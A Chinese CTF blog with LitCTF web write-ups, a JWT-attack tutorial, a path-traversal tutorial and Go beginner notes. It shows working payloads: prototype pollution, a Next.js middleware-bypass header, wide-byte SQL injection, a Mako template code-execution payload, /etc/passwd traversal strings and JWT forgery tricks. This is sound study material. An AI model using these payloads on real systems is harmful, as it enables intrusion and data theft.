展开收起

反序列化，最终的 payload 要先编码一次再传

[LitCTF 2025]easy_signin#

打开题目，显示 403

（这里不是题目问题，原题就是这样的）

扫到以下信息：

Terminal window

1
[14:39:23] 301 -  169B  - /api  ->  http://node6.anna.nssctf.cn/api/
2
[14:39:24] 301 -  169B  - /backup  ->  http://node6.anna.nssctf.cn/backup/
3
[14:39:26] 302 -    0B  - /dashboard.php  ->  /login.html
4
[14:39:29] 200 -   51B  - /login.php
5
[14:39:29] 200 -    6KB - /login.html

看源码发现 js 文件中泄露了一个接口，使用 file:// 协议能通，但是我们不知道 flag 的名称

首页的 user 去抓包里面修改后，显示密码错误

这里没发现有什么线索，回到接口把

这里访问 /api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

得到 flag 的路径拿到 flag（所以搞那个 dashboard.php hyw，难道这个是非预期吗

[LitCTF 2025]多重宇宙日记#

打开题目，随便注册一个号进去看源码：

1
|   |
2
|---|
3
|// 更新表单的JS提交|
4
|document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {|
5
|event.preventDefault();|
6
|const statusEl = document.getElementById('updateStatus');|
7
|const currentSettingsEl = document.getElementById('currentSettings');|
8
|statusEl.textContent = '正在更新...';|
9
||
10
|const formData = new FormData(event.target);|
11
|const settingsPayload = {};|
12
|// 构建 settings 对象，只包含有值的字段|
13
|if (formData.get('theme')) settingsPayload.theme = formData.get('theme');|
14
|if (formData.get('language')) settingsPayload.language = formData.get('language');|
15
|// ...可以添加其他字段|
16
||
17
|try {|
18
|const response = await fetch('/api/profile/update', {|
19
|method: 'POST',|
20
|headers: {|
21
|'Content-Type': 'application/json',|
22
|},|
23
|body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下|
24
|});|
25
|const result = await response.json();|
26
|if (response.ok) {|
27
|statusEl.textContent = '成功: ' + result.message;|
28
|currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);|
29
|// 刷新页面以更新导航栏（如果isAdmin状态改变）|
30
|setTimeout(() => window.location.reload(), 1000);|
31
|} else {|
32
|statusEl.textContent = '错误: ' + result.message;|
33
|}|
34
|} catch (error) {|
35
|statusEl.textContent = '请求失败: ' + error.toString();|
36
|}|
37
|});|
38
||
39
|// 发送原始JSON的函数|
40
|async function sendRawJson() {|
41
|const rawJson = document.getElementById('rawJsonSettings').value;|
42
|const statusEl = document.getElementById('rawJsonStatus');|
43
|const currentSettingsEl = document.getElementById('currentSettings');|
44
|statusEl.textContent = '正在发送...';|
45
|try {|
46
|const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON|
47
|const response = await fetch('/api/profile/update', {|
48
|method: 'POST',|
49
|headers: {|
50
|'Content-Type': 'application/json',|
51
|},|
52
|body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON|
53
|});|
54
|const result = await response.json();|
55
|if (response.ok) {|
56
|statusEl.textContent = '成功: ' + result.message;|
57
|currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);|
58
|// 刷新页面以更新导航栏（如果isAdmin状态改变）|
59
|setTimeout(() => window.location.reload(), 1000);|
60
|} else {|
61
|statusEl.textContent = '错误: ' + result.message;|
62
|}|
63
|} catch (error) {|
64
|statusEl.textContent = '请求失败或JSON无效: ' + error.toString();|
65
|}|
66
|}|

展开收起

通过

1
// 刷新页面以更新导航栏（如果isAdmin状态改变）
2
setTimeout(() => window.location.reload(), 1000);

可以知道存在一个 isAdmin 的属性

我们输入的 json 都会在 settings 键下：

1
{
2
    "settings": {
3
        "__proto__": {
4
            "isAdmin": true
5
        }
6
    }
7
}

即可提权为管理员拿到 flag

[LitCTF 2025]nest_js#

看了下 wp，利用了一个 cve：CVE-2025-29927 Next.js 中间件权限绕过漏洞

我们添加一个这样的请求头即可绕过：

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

LitCTF2026-web方向

Mon, 25 May 2026 00:00:00 GMT

[LitCTF2026] lit_ezsql（solved#

打开题目还是挺懵的，一开始尝试的注入都无效

这里要猜到开启调试模式：debug

查询：query?id=1&debug=1 得到：

1
SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id='1' LIMIT 50

这里输入：query?id=1%27&debug=1

得到：

1
SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id='1\'' LIMIT 50

后台执行的不是参数化查询，而是直接将用户的输入拼接进单引号内，并且对 ' 进行了转义处理

于是这里尝试宽字节注入： %df%27

这里我们从之前的回显结果可以看出，后端是会自动在 ' 前面生成一个 \

于是这里我们的 %df%27 得到的结果为 %df%5c%27，这里后端若是使用的 gbk 编码的话会将 %df%5c 转义为運，随后后面的 %27 成功变为 '

这里我们尝试 %df%27%20or%201=1%23&debug=1，成功执行

接下来就是 union 注入的流程执行即可

（要注意的是可以将 flag_store 这个数据库转变为 hex 进制，即可不使用 'flag_store' 从而绕过转义处理）

[LitCTF2026] 华辰企业服务运营平台（solved#

看了源码，没什么有效信息，开扫：

Terminal window展开收起

1
[10:37:50] 200 -   20B  - /actuator/caches
2
[10:37:50] 200 -    2KB - /actuator
3
[10:37:50] 200 -    2B  - /actuator/info
4
[10:37:50] 200 -   54B  - /actuator/scheduledtasks
5
[10:37:50] 200 -  749B  - /actuator/metrics
6
[10:37:51] 200 -   92KB - /actuator/beans
7
[10:37:51] 200 -   48MB - /actuator/heapdump
8
[10:37:52] 200 -   47KB - /actuator/loggers
9
[10:37:52] 200 -    7KB - /actuator/env
10
[10:37:52] 200 -  268B  - /actuator/health
11
[10:37:53] 200 -   94KB - /actuator/conditions
12
[10:37:53] 200 -   29KB - /actuator/mappings
13
[10:37:55] 200 -    1MB - /actuator/threaddump
14
[10:38:37] 200 -    1KB - /login
15
[10:38:37] 200 -    1KB - /login/
16
[10:38:07] 302 -    0B  - /api/cask/graphql  ->  http://challenge.cyclens.tech:30665/login;jsessionid=58074E73450BED35E8E96F7E0C736E0A
17
[10:38:07] 302 -    0B  - /api/timelion/run  ->  http://challenge.cyclens.tech:30665/login;jsessionid=A60F5373E401371C4F4407CC909AEF06
18
[10:38:07] 302 -    0B  - /api/v1  ->  http://challenge.cyclens.tech:30665/login;jsessionid=7DF5A0A42AD45771688F55103327AB44
19
[10:38:07] 302 -    0B  - /api/proxy  ->  http://challenge.cyclens.tech:30665/login;jsessionid=18F155660A93CC92EAE90AA7D9A8CCC7
20
[10:38:07] 302 -    0B  - /api/_swagger_/  ->  http://challenge.cyclens.tech:30665/login;jsessionid=870B914374C422B192E3BC64DCB573CE
21
[10:38:07] 302 -    0B  - /api/swagger/index.html  ->  http://challenge.cyclens.tech:30665/login;jsessionid=46DBDE5F7283F8C86FD5C7CD6E462C95
22
[10:38:07] 302 -    0B  - /api/v1/swagger.yaml  ->  http://challenge.cyclens.tech:30665/login;jsessionid=B20EBBB16BE394F7A2B8F1705945F60A
23
[10:38:07] 302 -    0B  - /api/index.html  ->  http://challenge.cyclens.tech:30665/login;jsessionid=C2F4DD1BFB4780A982442BEE82531424
24
[10:38:07] 302 -    0B  - /api/docs  ->  http://challenge.cyclens.tech:30665/login;jsessionid=0809AE041C091ED1FF48831B34E66AF3
25
[10:38:07] 302 -    0B  - /api/swagger/static/index.html  ->  http://challenge.cyclens.tech:30665/login;jsessionid=8290F74A9BB7CA85D4EEA47D41043D04
26
[10:38:07] 302 -    0B  - /api/snapshots  ->  http://challenge.cyclens.tech:30665/login;jsessionid=95A16EBF23402FB07B6BA72F082C93C4
27
[10:38:07] 302 -    0B  - /api  ->  http://challenge.cyclens.tech:30665/login;jsessionid=1C0CC69FFE2AF6B9A8D6B8A659839EF2
28
[10:38:07] 302 -    0B  - /api/2/issue/createmeta  ->  http://challenge.cyclens.tech:30665/login;jsessionid=C0721A938C2F5DBA0AD30DDAB7A03AAD
29
[10:38:07] 302 -    0B  - /api/jsonws  ->  http://challenge.cyclens.tech:30665/login;jsessionid=3E5517F4E99173CFBF5770E9E1883520
30
[10:38:07] 302 -    0B  - /api/profile  ->  http://challenge.cyclens.tech:30665/login;jsessionid=77AECD654518B51E9EE94B385BAD4972
31
[10:38:07] 302 -    0B  - /api/v4  ->  http://challenge.cyclens.tech:30665/login;jsessionid=1521A4D9084F680CE57598DD9A41A1C6
32
[10:38:07] 302 -    0B  - /api/2/explore/  ->  http://challenge.cyclens.tech:30665/login;jsessionid=B42D39F62EE961243B431FEC3A522918
33
[10:38:07] 302 -    0B  - /api/v2/swagger.yaml  ->  http://challenge.cyclens.tech:30665/login;jsessionid=656A98107A222BF6F4B04ED145B714F7
34
[10:38:07] 302 -    0B  - /api/__swagger__/  ->  http://challenge.cyclens.tech:30665/login;jsessionid=FC699F1259FDE671B3B2D2E93CB10223
35
[10:38:07] 302 -    0B  - /api/version  ->  http://challenge.cyclens.tech:30665/login;jsessionid=06515535C72619E3D76364BB587EE427
36
[10:38:07] 302 -    0B  - /api/swagger-ui.html  ->  http://challenge.cyclens.tech:30665/login;jsessionid=6F05F47AE246D4F2AE8084925B0E3A6D
37
[10:38:07] 302 -    0B  - /api/apidocs/swagger.json  ->  http://challenge.cyclens.tech:30665/login;jsessionid=E5E0B8B110B7D51820D96E834EEAEB77
38
[10:38:07] 302 -    0B  - /api/api  ->  http://challenge.cyclens.tech:30665/login;jsessionid=804B08EC5B8D94E73465EC457F252A5A
39
[10:38:07] 302 -    0B  - /api/swagger/ui/index  ->  http://challenge.cyclens.tech:30665/login;jsessionid=F772A3283E1A021B3FF716B42F7DA1F7
40
[10:38:07] 302 -    0B  - /api/login.json  ->  http://challenge.cyclens.tech:30665/login;jsessionid=70BAD6F4C5378F2ACB3798EC7661EED1
41
[10:38:07] 302 -    0B  - /api/  ->  http://challenge.cyclens.tech:30665/login;jsessionid=74B3AA76DEC5497078179710A141A4F6
42
[10:38:07] 302 -    0B  - /api/jsonws/invoke  ->  http://challenge.cyclens.tech:30665/login;jsessionid=9D9293B4CC699EF137F0C78E4CD8AAB1
43
[10:38:07] 302 -    0B  - /api/vendor/phpunit/phpunit/phpunit  ->  http://challenge.cyclens.tech:30665/login;jsessionid=21C3B263A3D36A949CB6F0555557F55F
44
[10:38:07] 302 -    0B  - /api/v2/swagger.json  ->  http://challenge.cyclens.tech:30665/login;jsessionid=3947B398C7DFF08F9BB9C962D259FB7B
45
[10:38:07] 302 -    0B  - /api/v2/  ->  http://challenge.cyclens.tech:30665/login;jsessionid=4923EF3D5321FDD52B59DC027E77BD21
46
[10:38:07] 302 -    0B  - /api/v1/  ->  http://challenge.cyclens.tech:30665/login;jsessionid=4BB1C45C79E9971F822DA4CDE983279F
47
[10:38:07] 302 -    0B  - /api/swagger/swagger  ->  http://challenge.cyclens.tech:30665/login;jsessionid=9EDE4CE98FB8740AA9C20D7115434563
48
[10:38:07] 302 -    0B  - /api/v1/swagger.json  ->  http://challenge.cyclens.tech:30665/login;jsessionid=E0B2A86B65A1AFA7053D7DC3AE4B9DC8
49
[10:38:07] 302 -    0B  - /api/v2  ->  http://challenge.cyclens.tech:30665/login;jsessionid=0982C1A4461D3B0C0A335963BA81394B
50
[10:38:07] 302 -    0B  - /api/docs/  ->  http://challenge.cyclens.tech:30665/login;jsessionid=A1D91179D38B9BC827BE837264E5A1DC
51
[10:38:07] 302 -    0B  - /api/application.wadl  ->  http://challenge.cyclens.tech:30665/login;jsessionid=327307BDA8982A0795BD69BE11C645AD
52
[10:38:07] 302 -    0B  - /api/package_search/v4/documentation  ->  http://challenge.cyclens.tech:30665/login;jsessionid=7409ECD0D5675924931D7FE6D4BB2087
53
[10:38:07] 302 -    0B  - /api/batch  ->  http://challenge.cyclens.tech:30665/login;jsessionid=DE039198D74954C6829A0ED67ED7A6A5
54
[10:38:07] 302 -    0B  - /api/swagger.json  ->  http://challenge.cyclens.tech:30665/login;jsessionid=0544131923747D12765B18832958789E
55
[10:38:07] 302 -    0B  - /api/spec/swagger.json  ->  http://challenge.cyclens.tech:30665/login;jsessionid=86CA6431EDB5D86B93631D732D437FC0
56
[10:38:07] 302 -    0B  - /api/swagger  ->  http://challenge.cyclens.tech:30665/login;jsessionid=7D961820035938039BCDBB623BA69049
57
[10:38:07] 302 -    0B  - /api/apidocs  ->  http://challenge.cyclens.tech:30665/login;jsessionid=24AD31FA241265E349094FFBC3EA6FF7
58
[10:38:07] 302 -    0B  - /api/v3  ->  http://challenge.cyclens.tech:30665/login;jsessionid=342F90143283C05EA2D03F192AECA251
59
[10:38:07] 302 -    0B  - /api/swagger.yml  ->  http://challenge.cyclens.tech:30665/login;jsessionid=8EC3F89EFFD6A98BAB5A2E8175319CD8
60
[10:38:07] 302 -    0B  - /api/v2/helpdesk/discover  ->  http://challenge.cyclens.tech:30665/login;jsessionid=C5DBA41376D027487B26DA200C4CA27B
61
[10:38:07] 302 -    0B  - /api/api-docs  ->  http://challenge.cyclens.tech:30665/login;jsessionid=50E169628543CA3F4B279A5472EA7B1E
62
[10:38:07] 302 -    0B  - /api/swagger.yaml  ->  http://challenge.cyclens.tech:30665/login;jsessionid=D8FDC110FACB558A537861F5671851B9
63
[10:38:07] 302 -    0B  - /api/whoami  ->  http://challenge.cyclens.tech:30665/login;jsessionid=39974CE847B101E76D27C0781784E694
64
[10:38:07] 302 -    0B  - /api/config  ->  http://challenge.cyclens.tech:30665/login;jsessionid=3CD1B88B2F1DCA642907F252A5519542
65
[10:38:08] 302 -    0B  - /api/error_log  ->  http://challenge.cyclens.tech:30665/login;jsessionid=168E2B1142D7833F9BC9F145DBBEF34D
66
[10:38:20] 302 -    0B  - /dashboard  ->  http://challenge.cyclens.tech:30665/login
67
[10:38:20] 302 -    0B  - /dashboard/  ->  http://challenge.cyclens.tech:30665/login

展开收起

这里我们通过 /actuator 确定了后端是 java 的 spring 框架写的，并且这里暴露了很多信息

Terminal window

1
/actuator/caches
2
/actuator
3
/actuator/info
4
/actuator/scheduledtasks
5
/actuator/metrics
6
/actuator/beans
7
/actuator/heapdump
8
/actuator/loggers
9
/actuator/env：记录了所有的环境变量，系统配置等
10
/actuator/health
11
/actuator/conditions
12
/actuator/mappings：当前所有的 web 接口以及后台对应的处理函数
13
/actuator/threaddump

后面发现直接在 /actuator/env 里面搜 flag 就出来了

[LitCTF2026] Northbridge Document Hub（solved#

这里题目给出提示：

Terminal window

1
Northbridge 文档中心接入了 kkFileView 兼容的文件预览网关。
2
研究员账号已开放，试着从解析缓存里找到本季度财务归档中的 flag。

这里我先扫了下：

Terminal window

1
[10:59:13] 200 -    6KB - /;/login
2
[11:00:37] 302 -    0B  - /assets  ->  /assets/
3
[11:02:23] 200 -    6KB - /login

从 /;/login 我们可以知道这里存在一个 “路由解析差异”，从而导致这个和 /login 返回同样的界面

这里访问 /assets/ 我们得到一个自定义后的报错：

Terminal window

1
The requested resource [/assets/] is not available
2
源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示。

并且我们可以知道它的服务器类型和版本为 Apache Tomcat/9.0.118

这里看下源码，找到个 js 文件，进去访问，发现里面泄露了账号和密码：

Terminal window

1
// researcher:Research#2026

并且，我们还得到一个任意文件读取接口：

Terminal window

1
fileGateway: {
2
            path: "/kkfileview/getCorsFile",
3
            queryKey: "urlPath",
4
            node: "legacy-parse-02"
5
        }

这里登录进去，发现一个文档 doc/finance_2026q1.xlsx parse

很明显，这就是我们要找的财务归档

并且，题目还直接给出了缓存挂载的位置：/opt/kkfileview/cache/parsed

这里我们尝试 url/kkfileview/getCorsFile?urlPath=L2V0Yy9wYXNzd2Q= 成功

意味着我们要将路径进行 base64 编码（并且使用绝对路径是可以的

这里试了半天直接读取不行（（（

绝对路径貌似走不通

后面使用尝试了读取出题者的命令记录，即 .bash_history

得到：

1
cd /opt/kkfileview/bin
2
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
3
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
4
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

终于得到文件实际是 .zip 而不是 .xlsx，并且还被转移到了 /tmp/ 目录下

最后读取 /tmp/q1_finance_report_2026.zip 拿到 flag

[LitCTF2026] lit_ezssti（solved#

看了源码扫了下，没有什么信息

尝试了一下，但是基本上输入的所有东西比如 {{7*7}} 它的回显都是你输入的原样

这里的 .|${ 被过滤了，这里我们就可以想到，${ 是 python 的 mako 引擎的语法

所以这里猜到应该是 mako 引擎

题目所提到的工具一把梭我做的时候实在没搞好，这里后面再搞下吧

（后面发现其实也就过滤了 .|${|flag，flag 可以通配符绕过；点号可以使用 getattr 进行绕过；${ 可以使用 <% 进行绕过

最终 payload：

1
<% import os; getattr(context, 'write')(getattr(getattr(os, 'popen')('cat /fl?g'), 'read')()) %>

[LitCTF2026] lit_reverse_my_web（not solved#

要逆向…

这里丢给 ds 跑了半天没跑出来

后面看了下其他师傅的 wp，知道了密钥是： rMw_2026_litctf_jwt_secret_key!!

这里直接伪造就能拿到 flag 了

入门jwt安全

Thu, 21 May 2026 00:00:00 GMT

碰到一个 jwt 绕过验证的题目，对这种绕过很感兴趣，遂学习了一下

但是这种类型往往是作为中间件的题目内容出现（像路径遍历

这里题目还没有碰到很多，碰到后再进行补充

简述#

JWT：JSON web tokens

jwt 由三部分组成：header，payload，signature

每个部分使用 . 进行连接

其中，header 和 payload 都是使用 base64 编码过后的 json 数据

这里注意，这里和常见的标准 base64 编码不一样，这里使用的是 base64URL 编码

它是由 26 大写字母，26 小写字母，0-9，连字符 - 和下划线 _ 所组成的

（标准的是26大，26小，0-9，/ 和 + 和 =）

为什么要这样做呢？

在 url 中，标准 base64 的 + 会被解释为空格，而 / 会被解释为路径分隔符

并且，base64URL 不会拿 = 作为填充符，对于字节数不是三的倍数的它会直接省略

从这里也可以知道，header 和 payload 都是不进行加密的

所有加密都是依赖签名（signature

header：包含签名的算法和 token 的类型

1
{
2
"alg": "HS256",
3
"typ": "JWT"
4
}

常见的字段：

1
alg: 指定token加密使用的算法
2
typ: 指定令牌的类型, 值基本为JWT
3
kid: 指定使用的加密算法的密钥 在服务端的位置

注：只有 alg 标头参数是必须的，并且，若是 alg 的值是 none，则后面的签名为空，但是仍然需要加点号！！

payload：存放实际需要的数据

1
官方定义的 7 种字段
2
- iss (issuer)：签发人
3
- exp (expiration time)：过期时间
4
- sub (subject)：主题
5
- aud (audience)：受众
6
- nbf (Not Before)：生效时间
7
- iat (Issued At)：签发时间
8
- jti (JWT ID)：编号
9

10
当然，我们也可以自己定义私有字段

signature：首先，服务器有一个密钥（这里我们把它都叫做 secret），随后，服务器按照签名中的算法用以下公式对其进行加密（算法即是 header 中提到的

1
HMACSHA256(
2
  base64UrlEncode(header) + "." +
3
  base64UrlEncode(payload),
4
  secret)

jwt 因为是在客户端，可以存在 Cookie 或者 localStorage 中

jwt 若是没有处理妥当，往往会导致 hacker 冒充其他用户或者提权

工具#

写在前面：个人感觉 jwt 还是优先考虑使用一些其他工具比如 jwt_tool（命令行交互式伪造 jwt，或者一些交互网站 jwt.io（在线修改 jwt，验证签名正确性，jwt_cracker（爆破神器，hashcat（爆破神器；随后再考虑 burp 的工具

brup：链接戳这里

这里我们抓包后在右边即可看到 burp inspector

选择不同的部分它将自动帮你解码

我们可以在这里对其进行修改

将数据发送到 repeater 后，我们点击跳转到 JSON Web Token

在这里我们可以修改其值

那么，如何添加 key 呢

这里我们用到插件 JWT Editor

选择跳转

这里我们可以选择要添加的 key，这里我们就假设选择一个 New Symmetric Key（有很多种，肯定根据实际情况来调整）

将其中的 key 换成我们之前得到的 key 的 base64url 编码后的结果（这里得先知道 key

随后返回到之前的地方，点击 sign 进行添加即可

未做签名校验#

我们对于 header 和 payload 中的数据直接改就行

空加密#

后端依赖于 alg 中的算法对签名进行加密

这时候我们可以直接将 alg 中的值改为 none

报错注入#

这里我们直接上传篡改过的 jwt，服务器返回了它所期待的正确签名（要求 Auth0-WCF-Service-JWT NuGet 版本很低

爆破#

利用工具可以爆破一些弱密钥

例如：hashcat，jwtcracker

修改非对称算法为对称算法#

jwt 头部参数注入#

在 header 中，有这么几个标头需要我们格外注意：

1
jwk （JSON Web Key）- 提供一个表示密钥的嵌入式 JSON 对象
2

3
jku （JSON Web Key Set URL）- 提供一个 URL，服务器可以从中获取包含正确密钥的一组密钥
4

5
kid （密钥 ID）- 提供一个 ID，服务器可以使用该 ID 在有多个密钥可供选择的情况下识别正确的密钥。根据密钥的格式，此 ID 可能具有匹配的 `kid` 参数

jwk 注入#

JWK（JSON Web Key）是一种将键表示为 JSON 对象的标准化格式

JSON Web Signature (JWS) 规范描述了一个可选的 jwk 标头参数，服务器可以使用该参数以 JWK 格式将其公钥直接嵌入到令牌本身中

此漏洞原因是服务器没有使用有限的公钥白名单来验证 jwt 签名

（错误的配置有可能会使用嵌入 jwk 中的任何密钥）

因此我们可以尝试使用自己的私钥去伪造这么一个公钥，随后将其插入到 jwt 参数中

这里我们可以先在插件中生成一种算法的 jwt

随后我们返回 repeater，在 jwt 模块中选择左下角的 Attack

随后再选择 Embedded JWK，在谈出的面板中选择你想要的密钥

随后你的 jwt 参数就成功被添加了

jku 注入#

有些服务器不直接使用 jwk 请求头参数嵌入公钥，而是允许使用 jku （JWK 集 URL）请求头参数来引用包含密钥的 JWK 集。验证签名时，服务器会从该 URL 获取相关密钥

JWK 集是一个 JSON 对象，其中包含一个 JWK 数组，每个 JWK 代表一个不同的键。您可以在下方看到一个示例

有些 JWK 集是通过标准端点公开的

这里我们可以将对应的 jwk 集（可以使用插件 jwt editor 生成）插入到我们的服务器中（如果有

随后将其中的值和 header 中有的值进行互换

例如：我们生成的 jwk 集中有 kid 标头，而 header 中也有，那么此时我们就需要将 header 中的 kid 值改为 jwk 集中的值

随后，我们可以在 header 中生成一个 jku 标头，此标头应该填入之前服务器的 url

注：这里添加新的标头记得在上一个标头的末尾加上 ,！！！

kid 注入#

服务器可能使用多个加密密钥来签署不同类型的数据，而不仅仅是 JWT。因此，JWT 的头部可能包含一个 kid （密钥 ID）参数，该参数可以帮助服务器在验证签名时确定要使用的密钥

验证密钥通常以 JWK 集的形式存储。在这种情况下，服务器可能只需查找与令牌具有相同 kid 的 JWK 即可。然而，JWS 规范并未定义此 ID 的具体结构——它只是开发者选择的任意字符串。例如，他们可以使用 kid 参数指向数据库中的特定条目，甚至是文件名

（即可能会导致比如路径遍历等问题）

如果服务器也支持使用 对称算法 签名的 JWT，这种情况尤其危险。攻击者可以将 kid 参数指向一个可预测的静态文件，然后使用与该文件内容匹配的密钥对 JWT 进行签名

理论上，任何文件都可以这样做，但最简单的方法之一是使用 /dev/null ，它存在于大多数 Linux 系统中。由于这是一个空文件，读取它会返回一个空字符串。因此，使用空字符串对令牌进行签名将得到有效的签名

若是密钥存储在数据库中，还可能导致 sql 注入等问题

入门路径遍历（目录穿越）

Sun, 17 May 2026 00:00:00 GMT

严格来讲，就单独的路径遍历的题目其实很少，往往是和其他漏洞一起实现的

原理：在文件路径中，../ 表示 在目录结构往上移动一级

例如，我们可以构造如此结构 /var/www/images/../../../etc/passwd

而这将使得最终结构回退到 /，也就是根目录

基本 payload#

URL payload#

../

..\（Windows特有

..;/

（这里的 ../ 可以使用超出原本路径的个数，原因是若是超出，则当前目录会自动保持在根目录）

Nginx 配置失误#

原理是 Nginx 配置的时候少打了个 /

例如：

1
location /files {
2
    alias /home/user/data/;
3
}

这会导致若是在我们构造的 url 里面存在 /files，它会直接被映射到 /home/user/data/ 路径中

由此，我们便可以构造路径遍历 /files../../../etc/passwd

更正漏洞：在末尾加上 /，即 /files/

绕过方式#

双写绕过#

双写即可

例如：....//

绝对路径绕过#

直接使用绝对路径

例如：?filename=etc/passwd

限定目录绕过#

后端会对不同目录进行权限限定

我们可以通过 ~ 去访问根目录 / 下的目录

编码绕过#

核心就是后端在进行传参后会进行一些加密方式，这里我们在传参之前先使用该加密方式编码即可

列出一些常见的编码：

URL：../ 的一次 URL 编码为 %2E%2E%2F，二次 URL 编码为 %252E%252E%252F ..\ 的一次 URL 编码为 %2E%2E%5C，二次 URL 编码为 %252E%252E%255C

Unicode：\u002e

超长 UTF-8：\%e0%40%ae

UNC 绕过#

针对 Windows 系统

关于什么是 UNC 路径可以参考这篇文章

基本格式为 \\服务器名\共享目录名\路径\文件名

\\localhost\c$\windows\win.ini 中的 c$ 是 Windows 系统默认开启的管理共享（C盘是 c$，D盘是 d$），\windows\win.ini 则是具体的路径

%00截断绕过#

后端要求必须包含比如说 .jpg 等拓展名，这里我们构造 %00 去截断其后的拓展名即可

（文件上传还在追我）

这里构造的不仅仅为 %00，在类 UNIX 系统中，我们还可以尝试 %0A 去尝试绕过，以及 %20 等等

例如：?filename=../../../etc/passwd%00.jpg

这里注意：和文件上传类似，使用 POST 方法的话对参数也不会自动进行 URL 解码，需要我们先对 %00 进行解码处理

利用路径遍历上传 webshell 拿到权限（低#

由于路径遍历只能够进行读文件

所以首先系统得存在文件包含漏洞/文件上传漏洞等等可以执行命令的漏洞

我们先准备一个反弹 shell 脚本（shell.php）

随后使用比如 SQL 注入将这个脚本写入到数据库中

随后切换目录，让服务器去下载这个文件并且给予文件执行的权限

这样，服务器上就躺着我们的 shell.php

随后我们开启监听，开始路径遍历

成功后拿到一个低权限 shell

Web🐕入门Go

Fri, 15 May 2026 00:00:00 GMT

https://go.dev/tour/welcome/1

https://github.com/securego/gosec

https://pkg.go.dev/

https://projectdiscovery.io/

以上是我学习中发现的优质学习资源！

该文章主要是根据 Go 这篇文章来进行的

去入门 Go 是因为参加一些比赛的题目都是 Go，但是自己没怎么对此有过了解

整篇文章是以审计为目的去进行的（（（后端✌别喷😭

Package#

package 声明包

当我们通过路径调用一个包的时候，在代码里调用它的时候写的一定是路径最末尾的那个

例如：

1
package main
2

3
import "math/rand"
4

5
// 使用时
6
rand.Intn(10) 而不是 math_rand.Intn(10)

调用其他包的时候是要通过路径调用，而使用时直接用路径最末尾的

Import#

import 去导入包

使用 分解式 import ：（好习惯喵！

例如：

1
import (
2
  "fmt"
3
  "math"
4
)

Exported names#

在 go 中，若是名称首字母是大写的，则可以被导出；

若是名称首字母是小写的，则不可以被导出，只能在包内部访问

似乎是封装的概念

例如：

1
package main
2

3
import (
4
  "fmt"
5
  "math"
6
)
7

8
func main() {
9
  fmt.Println(math.Pi)
10
}

这里的 Pi 若是写成小写的 pi 则不能被成功导出

Functions#

很奇特的一点，声明函数的时候类型得在变量后面

例如：

1
func add(x int, y int) int {
2
  return x + y
3
}

在括号后面的那个 int 指的是返回值类型

Functions continued#

当两个或多个命名函数参数共享一个类型的时候，可以省略前面的类型只留最后一个类型

例如：

1
func add(x, y int) int {
2
  return x + y
3
}

Multiple results#

一个函数可以返回多个结果

例如：

1
package main
2

3
import "fmt"
4

5
func swap(x, y string) (string, string) {
6
  return y, x
7
}
8

9
func main() {
10
  a, b := swap("hello", "world")
11
  fmt.Println(a, b)
12
}

这里的 return y, x 就是返回两个结果

Named return values#

返回值可以定义，如这样做，那么返回值可视为在函数顶部定义的变量

例如：

1
package main
2

3
import "fmt"
4

5
func split(sum int) (x, y int) {
6
  x = sum * 4 / 9
7
  y = sum - x
8
  return
9
}
10

11
func main() {
12
  fmt.Println(split(17))
13
}

这里的 split 函数在 (x, y int) 处就定义了返回值分别为整数类型的 x，y

且 x 和 y 可以直接在函数内部使用（相当于先定义了

不带参数的 return 会返回指定的返回值，叫做 裸返回

裸返回应当只用于较短函数，再较长函数中会降低代码的可读性

Variables#

var 声明一个变量，和函数声明一样，也是先变量名再类型

var 可以用于包级别和函数级别声明

例如：

1
package main
2

3
import "fmt"
4

5
var c, python, java bool
6

7
func main() {
8
  var i int
9
  fmt.Println(i, c, python, java)
10
}

var c, python, java bool 这就是包级别

var i int 这就是函数级别

Variables with initializers#

var 还可以初始化变量（即声明的时候进行变量赋值

若是初始化变量，则可以不用添加类型，变量会自动采用其值的类型

例如：

1
package main
2

3
import "fmt"
4

5
var i, j int = 1, 2
6

7
func main() {
8
  var c, python, java = true, false, "no!"
9
  fmt.Println(i, j, c, python, java)
10
}

这里函数里面的 var c, python, java = true, false, "no!" 就没有声明变量类型

Short variable declarations#

在函数内部，可以使用 := 替代带有隐式类型的 var 声明

这里的隐式声明就是刚刚的初始化变量（有了值，才能判断类型

但在函数外部，每个语句都以关键词（例如 var，func 等）开头，不可使用 :=

例如：

1
package main
2

3
import "fmt"
4

5
func main() {
6
  var i, j int = 1, 2
7
  k := 3
8
  c, python, java := true, false, "no!"
9

10
  fmt.Println(i, j, k, c, python, java)
11
}

这里是在函数内部使用 :=

Basic types#

go 中的基本类型如下：

1
bool
2

3
string
4

5
int  int8  int16  int32  int64
6
uint uint8 uint16 uint32 uint64 uintptr
7

8
byte // alias for uint8
9

10
rune // alias for int32
11
     // represents a Unicode code point
12

13
float32 float64
14

15
complex64 complex128

展开收起

对于整数类型，除非是特殊情况要使用大小限制的 int，其余一律使用 int

int8，int16，int32 这些数字表示了它们占的位数

uint8 的别名是 byte

int32 的别名是 rune

complex64，complex128 用于复数

变量的声明和 import 一样，都可以采用分解式声明：

例如：

1
var (
2
  ToBe   bool       = false
3
  MaxInt uint64     = 1<<64 - 1
4
  z      complex128 = cmplx.Sqrt(-5 + 12i)
5
)

Zero values#

对于未赋值的变量会被自动赋予初始零值

数值类型为 0

布尔类型为 false

字符类型为 ""（空字符串

Type conversions#

对于不同类型的值之间进行赋值必须要 显式声明（go 不允许隐式声明

例如：

1
var i int = 42
2
var f float64 = float64(i)
3
var u uint = uint(f)

对于 var f float64 = float64(i)，首先 i 被 float64() 转变为 float64 类型

其次再将其赋值给同样为 float64 的 f

若是这样操作 var f float64 = i，则 go 会进行报错（这个是错误的喵

Type inference#

若是没有显式声明，则变量的类型是从等号右边得出的

其实就是 ”看菜下碟“（前面提过

